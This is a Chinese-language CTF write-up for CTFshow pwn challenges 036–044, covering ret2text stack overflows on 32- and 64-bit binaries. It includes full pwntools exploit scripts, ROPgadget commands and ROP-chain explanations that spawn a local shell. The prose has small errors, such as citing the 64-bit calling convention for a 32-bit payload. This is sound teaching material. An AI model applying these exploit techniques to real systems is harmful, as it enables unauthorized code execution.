【PWN刷题】CTFshow036-044

城南小陌又逢春,只见梅花不见人。

这个系列记录一下学习pwn时刷题的过程,攻击形式以本地调试为主。我们从栈溢出部分开始。

CTFshow036

题目的描述是:存在后门函数,如何利用?

先检查程序保护:

图片
这是一个32位的程序,没有开启任何保护,拖入ida分析一下,ctfshow()函数中使用了危险函数gets(),该函数不对输入的长度进行检查,导致了溢出。

图片
这边缓冲区接受的长度是0x28,覆盖ebp之后实际的offset为0x28+4,当然也可以直接p32(0)来补齐ebp的4个字节。
同时发现了关键函数get_flag,地址是0x08048586,功能是读取根目录下的flag文件

图片

exp:

from pwn import *

context.arch      = 'i386'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

get_flag = 0x08048586

payload = b'A'*40 + p32(0) + p32(get_flag)

io.sendlineafter('Enter what you want: ',payload)
io.interactive()

运行后成功读取到我们本地的flag:
图片

CTFshow037

题目的描述是:32位的 system(“/bin/sh”) 后门函数给你

运行截图:

图片

检查一下程序保护:

图片
这是一个32位程序,只开启了NX保护,说明不能直接写入shellcode运行,不影响我们栈溢出。

ida分析一下,ctfshow()函数中存在溢出,读取了0x32字节的长度,但是缓冲区长度只有0x12h
图片

同时发现了后门函数backdoor(),地址为:0x08048521,功能是直接给出shell:

图片

所以我们只需要溢出后覆盖EIP跳转的地址,让程序跳转到bawckdoor()函数。

exp:

from pwn import *

context.arch      = 'i386'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

get_flag = 0x08048521

payload = b'A'*(0x12+4) + p32(get_flag)

io.sendlineafter('Just very easy ret2text&&32bit',payload)
io.interactive()

运行后成功getshell,读取到flag:

图片

CTFshow038

题目的描述是:64位的 system(“/bin/sh”) 后门函数给你

这是一个64位的程序,由于64位和32位函数的调用约定不同,所以构造payload的结构也有所差异,两者差异整理了以下表格:

对比项 32 位 (x86) 64 位 (x86-64)
调用约定 cdecl,参数全部压栈 System V,前 6 参数放寄存器
参数传递顺序 从右到左依次压栈 rdi → rsi → rdx → rcx → r8 → r9
system ("/bin/sh") 结构 padding + system + fake_ret + bin_sh padding + pop_rdi_ret + bin_sh + system
是否需要 ROP gadget 单参数不需要 必须用 pop rdi; ret
地址打包函数 p32(addr)(4 字节) p64(addr)(8 字节)
栈对齐要求 基本不用考虑 常需加一个纯 ret gadget 对齐 rsp
多参数构造 直接跟在返回地址后压栈 每个参数对应一个 pop gadget,多余寄存器填 junk
典型踩坑 偏移算错、libc 地址错 照搬 32 位写法导致 rdi 为垃圾值、栈不对齐 segfault

下面我们看这道题目,先检查一下程序保护:

图片

运行截图:

图片

拖入ida中分析,同样存在溢出:

图片

get_shell()函数的地址是:0x0400657,这道题并不需要传递参数,所以我们需要寻找一个干净的ret来覆盖system()函数的返回地址,我们用ROPgadget工具:

ROPgadget --binary ./pwn --only "ret"

图片

ret的地址为0x0400287
此时我们的payload应为:payload = offset + ret + system

exp:

from pwn import *

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

get_shell = 0x0400657
ret = 0x400287

payload = b'A'*10 +  p64(0) + p64(ret) + p64(get_shell)

io.sendlineafter('Just easy ret2text&&64bit',payload)
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow039

题目的描述是:32位的 system(); "/bin/sh"

这道题开始不再有现成的后门函数来跳转,需要我们自己去构造参数链。
运行截图:

图片

检查程序保护:

图片

这是一个32位程序,ctfshow()函数存在溢出,填充长度为0x12+4

图片

hint()函数中有/bin/sh字符串,在Strings视图中同样可以发现(Shift+F12)

图片

图片

现在得到了system地址:0x080483A0,/bin/sh的地址为:0x08048750
根据64位程序的调用约定,我们payload的构造应为:

payload = offset + system + ret(或任意4字节来覆盖函数返回地址) + system

exp:

from pwn import *

context.arch      = 'i386'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x080483A0
bin_sh = 0x08048750

payload = b'A'*18 +  p32(0) + p32(system) + p32(0) + p32(bin_sh)

io.sendlineafter('Just easy ret2text&&32bit',payload)
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow040

题目的描述是:64位的 system(); "/bin/sh"

运行截图:

图片

检查程序保护:

图片

同样存在溢出,长度为0xA+8

图片

图片

64位中传递参数需要ROPgadget,这里我们只需要给system函数传递一个参数,所以需要找到pop rdi ; ret的地址:

ROPgadget --binary ./pwn | grep "pop rdi ; ret"

图片

再寻找一个干净的ret覆盖system返回地址,或者用任意4字节的脏数据p64(0),这里我们用ret

ROPgadget --binary ./pwn --only "ret"

图片

至此我们得到 system:0x0400520,/bin/sh:0x0400808,pop_rdi:0x04007e3,ret:0x04004fe

此时payload的结构应为:

payload = offset + pop_rdi + bin_sh + ret + system

完整exp:

from pwn import *

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x400520
bin_sh = 0x400808
pop_rdi = 0x4007e3
ret = 0x4004fe

payload = b'A'*10 +  p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)

io.sendlineafter('Just easy ret2text&&64bit',payload)
io.recv()
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow041

题目的描述是:32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

这一题与上面的题目相同,不过没有/bin/sh,学过linux都知道,/bin/sh和sh的效果相同,在程序的.rodata段发现了sh字符串,地址为:0x080487BA

图片

直接构造exp:

from pwn import *

context.arch      = 'i386'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x080483D0
sh = 0x080487BA

payload = b'A'*18 + p32(0) + p32(system) + p32(0x08048376) + p32(sh) 

io.sendline(payload)
io.recv()
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow042

题目的描述是:64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代

跟上题目一样用sh代替/bin/sh即可,但是这是64位的,根据调用约定,我们还需要获取ret,pop_rdi,system的地址。

寻找一下pop_rdi:

图片

pop_rdi:0x400843,system:0x400560,sh:0x400872,这里覆盖返回地址就不用ret了,我们用p64(0)即可。

解题脚本:

from pwn import *

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x400560
sh = 0x400872
pop_rdi = 0x400843
ret = 0x40053e

payload = b'A'*10 + p64(0) + p64(pop_rdi) +  p64(sh) + p64(ret) + p64(system)

io.sendline(payload)
io.recv()
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow043

题目的描述是:32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查一下程序保护:

图片

32位程序,只开启了NX保护。

程序中有system函数,但是并没有直接给出可以调用的参数。所以需要我们手动构造,存在gets函数,给我们提供了手动输入构造参数的能力,

图片
s

列表中的.bss段(Shift+F7)发现了变量buf20x0804B060

图片

所以我们的思路就是向.bss段的buf2处写入 “/bin/sh” 字符串,并将其地址作为 system 的参数传入。这里gets函数的返回值不能用简单的ret构造,因为buf2.bss段,.bss段没有执行权限。不能直接填4个字节的垃圾数据,否则会崩溃。

我们上面做题时system函数就可以直接用ret来覆盖返回地址,这里的gets函数则不行,原因是根据 cdecl 规则:调用者平衡栈,被调用函数自己不清理栈。简单来说就是当 system 成功拉起 /bin/sh,进程流直接交给 shell,system函数不会执行到末尾的 ret 指令。system 的返回地址根本不会被使用,不会执行 ret,所以这个位置填啥垃圾 4 字节都无所谓:b'aaaa'p32(0xdeadbeef)、cyclic (4) 全都可以。

但是gets一定会正常返回,gets读完输入一定会走到 ret,所以 gets 的返回地址必须是一个合法 gadget 地址,不能乱写垃圾数据。

函数 会不会执行 ret 返回 返回地址能不能填垃圾
gets 一定会 ret 必须填合法 gadget,不能 aaaa
system("/bin/sh") 拿到 shell 就不返回 随便填 4 字节垃圾

这里我们选择用ebx寄存器,因为现代 32 位 libc 为了 ASLR,动态库是位置无关代码 PIC,不能硬编码绝对地址,需要一个寄存器当GOT全局偏移表的基址,这个约定寄存器就是ebx

pop_ebx的地址我们同样可以用ROPgadget来获取,我们选一个干净的即可:

ROPgadget --binary ./pwn | grep "pop ebx ; ret"

图片

所以我们构造的payload结构是:

payload = offset + gets + pop_ebx + buf2 + system + ret或p32() + buf2

解题脚本:

from pwn import *

context.arch      = 'i386'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x08048450
gets = 0x08048420
pop_ebx = 0x08048409 
buf2 = 0x0804B060

payload = b'A'*(0x6C) + p32(0) + p32(gets) + p32(pop_ebx) +p32(buf2) + p32(system) + p32(0) + p32(buf2) 

io.sendline(payload)
io.sendline(b'/bin/sh')
io.recv()
io.interactive()

运行后得到shell,成功读取到flag:

图片

CTFshow044

题目的描述是:64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

这题的的思路和上一题一样,都是通过gets函数来手动构造参数,不同的是64位的调用约定中函数调用和参数传入的顺序和32位是相反的。

64位中传递的第一个参数存在rdi寄存器中,所以我们需要获取的地址有:system,gets,pop_rdi,buf2。

地址分别为:

system = 0x400520
gets = 0x400530
pop_rdi = 0x4007f3
buf2 = 0x602080

构造的payload结构是:

payload = offset + pop_rdi + buf2 + gets + pop_rdi + buf2 + system

那么问题来了,为什么64位中函数调用后不需要用ret等来覆盖返回值?

因为32位程序参数全部在栈上:
gets地址
pop_ebx_ret ← gets返回地址
buf2 ← gets参数
gets ret → 跳到 pop_ebx;ret,pop 消耗 buf2,再 ret 跳 system。

64 位程序参数放寄存器,gadget 本身自带 ret
pop_rdi gadget 完整指令:

0x4007f3: pop rdi
0x4007f4: ret

每一个普通 ROP gadget 末尾自带一条 ret

整个 ROP 链是靠每一个 gadget 最后的 ret 串联起来的:

pop_rdi; ret     → ret跳 gets
gets函数执行完ret → ret跳下一个 pop_rdi; ret
pop_rdi; ret     → ret跳 system

整条 ROP 链条串联逻辑:

[pop_rdi] ret → gets
gets ret → [pop_rdi] ret → system

payload 写进去的 p64(pop_rdi) 这个地址本身就是 pop rdi; ret 这条 gadget 的起始。所以不需要额外再加一个 p64 (ret),因为 gadget 内部已经包含 ret 指令。

解题脚本:

from pwn import *

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux', 'splitw', '-h']

io = process('./pwn')

system = 0x400520
gets = 0x400530
pop_rdi = 0x4007f3
buf2 = 0x602080

payload = b'A'*10 + p64(0) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)

io.sendline(payload)
io.sendline(b'/bin/sh')
io.recv()
io.interactive()

运行后得到shell,成功读取到flag:

图片

036-044的题目到现在已经刷完了,这部分都是ret2text类型的题目,程序中直接给出了后门函数或者相关的构造手段,后面的题目涉及到泄露libc中的地址属于ret2libc,下一篇文章中将继续刷题。

posted @ 2026-08-27 15:38  K0rnZ3bra  阅读(17)  评论(0)    收藏  举报